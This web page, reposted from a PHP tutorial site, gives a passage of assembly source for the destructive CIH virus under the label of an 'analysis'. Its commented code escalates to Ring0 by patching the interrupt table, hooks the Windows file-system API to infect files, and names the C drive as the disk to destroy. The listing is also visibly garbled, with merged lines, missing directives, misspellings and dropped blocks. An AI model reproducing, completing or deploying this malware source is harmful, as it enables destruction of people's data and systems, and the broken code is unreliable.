Analysis of virus program source code examples-CIH virus[2]

Analysis of virus program source code examples-CIH virus[2]

OriginalAppEXE SEGMENT
　
　;PE format executable file header
　FileHeader:
　db 04dh, 05ah, 090h, 000h, 003h, 000h, 000h, 000h
　db 004h, 000h , 000h, 000h, 0ffh, 0ffh, 000h, 000h
db 0b8h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 040h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
　db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 080h, 000h, 000h, 000h
db 00eh, 01fh, 0bah, 00eh, 000h, 0b4h, 009 h, 0cdh
　db 021h , 0b8h, 001h, 04ch, 0cdh, 021h, 054h, 068h
db 069h, 073h, 020h, 070h, 072h, 06fh, 067h, 072h
db 061h, 06dh, 020h, 0 63h, 061h, 06eh, 06eh , 06fh
db 074h, 020h, 062h, 065h, 020h, 072h, 075h, 06eh
06dh, 06fh, 064h, 065h, 02eh, 00dh, 00dh, 00ah
db 024h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 050h, 045h, 000h, 000h, 04ch, 001h, 001h, 000h
db 0f1h, 068h, 020h, 035h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 0e0h, 000h, 00fh, 001h
h, 005h, 000h, 000h, 010h , 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h

　db 000h, 020h, 000h, 000h, 000h, 000h, 040h, 000h
db 000h, 010h, 000h, 000h, 000h, 002h, 000h, 000h
db 004h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
　db 004h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
　db 000h, 020h, 000h, 000h, 000h, 002h, 000h, 000h
　db 000h, 000h, 000h, 000h, 002h , 000h, 000h, 000h
db 000h, 000h, 010h, 000h, 000h, 010h, 000h, 000h
, 000h
　db 000h, 000h, 000h, 000h, 010h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
000h, 000h, 000h, 000h , 000h, 000h, 000h, 000h
　db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
　db 000h, 000h, 000h, 000h, 000h, 000h , 000h, 000h
　db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
##　db 000h, 000h, 000h , 000h, 000h, 000h, 000h, 000h
　db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
　db 000h, 000h, 000h, 000h, 000h , 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 02eh, 074h, 065h, 078h, 074h, 000h, 000h, 000h
db 000h, 01 0h, 000h, 000h, 000h, 010h, 000h, 000h
　db 000h, 010h, 000h, 000h, 000h, 002h, 000h, 000h
　db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
　db 000h, 000h , 000h, 000h, 020h, 000h, 000h, 060h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h , 000h, 000h, 000h, 000h
　db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
　db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
　db 000h , 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
, 000h, 000h, 000h, 000h , 000h
　db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 0c3h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
dd 00000000h, VirusSize

OriginalAppEXE ENDS

; Virus program starts
TRUE = 1
FALSE = 0
DEBUG = FALSE
 
　
　IF DEBUG;Whether to debug?
　FirstKillHardDiskNumber = 81h;Destroy the D drive
HookExceptionNumber = 05h ; Use interrupt number 5
ELSE
FirstKillHardDiskNumber = 80h ; Destroy C drive
HookxceptionNumber = 03h ; Use interrupt number 3
ENDIF
　
FileNameBufferSize = 7fh
　
　;Virus code segment begins
VirusGame SEGMENT
　
ASSUME CS:VirusGame, DS:VirusGame, SS:VirusGame
# MyVirusStart:
push ebp

; Modify system exception handling to avoid generating error messages
lea eax, [esp-04h*2]
xor ebx, ebx
xchg eax , fs:[ebx]
　
call @0
　
　@0:
　pop ebx; Get the starting offset of the program, use this offset + relative offset to get the absolute Address
Lea ecx, StopToRunVirusCode-@0[ebx]
push ecx
push eax

; Modify the interrupt description table to obtain the highest Ring0 level authority
push eax
sidt [esp-02h] ;Get the base address of the interrupt description table to ebx
　pop ebx;
　
　add ebx, HookExceptionNumber*08h+04h;Calculate the base address of the interrupt to be used to ebx ##　cli;Turn off interrupts before modifying
　
　mov ebp, [ebx];Get the base address of exception handling
　mov bp, [ebx-04h];Get the entry
　　
　lea esi, MyExceptionHook-@1[ecx]
　
push esi; esi is the virus interrupt routine address
　
mov [ebx-04h], si;
shr esi, 16; modify the exception
　mov [ebx+02h], si;Modify the interrupt base address to point to the virus interrupt routine
　
　pop esi
　
　;Generate an exception that enters ring0 level
　int HookExceptionNumber;To Enter Ring0 level through interruption
ReturnAddressOfEndException = $
　
　; Merge all virus codes
push esi
Copy
LoopOfMergeAllVirusCodeSection:
mov ecx, [eax-04h]

rep movsb ; Copy the virus code to the first address of the allocated system memory
sub eax, 08h
mov esi, [eax]
or esi, esi
jz QuitLoopOfMergeAllVirusCodeSection ; ZF = 1
jmp LoopOfMergeAllVirusCodeSection ;Copy the next section

　
　; Save exception handling
　ReadyRestoreSE:
　sti;Open interrupt
　, the virus will stop running and jump directly to the original program
StopToRunVirusCode:
@1 = StopToRunVirusCode

xor ebx, ebx
mov eax, fs:[ebx]
mov esp, [eax]
　
　RestoreSE:
　pop dword ptr fs:[ebx]
　pop eax
　
　; Jump to the original program and execute normally
　pop ebp
　
　push 00401000h; Push Original
　OriginalAddressOfEntryPoint = $-4;Push the starting address of the original program onto the stack
　ret;Return to the beginning of the original program in the form of a subroutine return
　;Virus Initialization module
MyExceptionHook:
@2 = MyExceptionHook

jz InstallMyFileSystemApiHook ; If the virus code has been copied
; Go to the program to install the system hook

mov ecx , dr0 ; Check whether dr0 has been set (dr0 is the virus residence flag)
jecxz AllocateSystemMemoryPage ; If not set, allocate system memory

add dword ptr [esp], ReadyRestoreSE-ReturnAddressOfEndException

　; Return to the original program
ExitRing0Init:
mov [ebx-04h], bp ;
shr ebp, 16 ; Restore Exception
mov [ebx+02h], bp ; Restore the original interrupt Base address
　
　iretd;Interrupt return ;
push ecx ;
push 0ffffffffh ;
push ecx ;Call method ULONG EXTERN _PageAllocate(ULONG nPages,
, ULONG *PhysAddr,ULONG flags);
push ecx ;
push ecx ;
push 000000001h ;
push 000000002h ;
int 20h ;dd 00010053h ;Use eax, ecx, edx and flags registers
Add esp, 08h*04h ;Restore the stack pointer
, MyVirusStart-@2[esi] ;eax points to the start of the virus
　
　iretd;Exit interrupt
　
　;Initialize the file system hook
InstallMyFileSystemApiHook:
lea eax, FileSystemApiHook-@6 [edi] ;Point to the first address of the file system hook program
　
　push eax;
　int 20h; Vxd calls IFSMgr_InstallFileSystemApiHook
　
　mov dr0, eax;Save the original file system hook program first address to dr0
pop eax;eax is equal to the file system hook program first address
　
;Save the original IFSMgr_InstallFileSystemApiHook function call Entry
　mov ecx, IFSMgr_InstallFileSystemApiHook-@2[esi]
　mov edx, [ecx] ; edx is the entrance of IFSMgr_InstallFileSystemApiHook  
  mov OldInstallFileSystemApiHook-@3[eax], edx  
　
 ; Modification IFSMgr_InstallFileSystemApiHook entry
lea eax, InstallFileSystemApiHook-@3[eax]
mov [ecx], eax ; Set the address of the new IFSMgr_InstallFileSystemApiHook function call
; Make it point to InstallFileSystemApiHook
cli ; Turn off interrupts



The above is the content of virus program source code example analysis-CIH virus [2]. For more related content, please pay attention to the PHP Chinese website (www.php.cn)!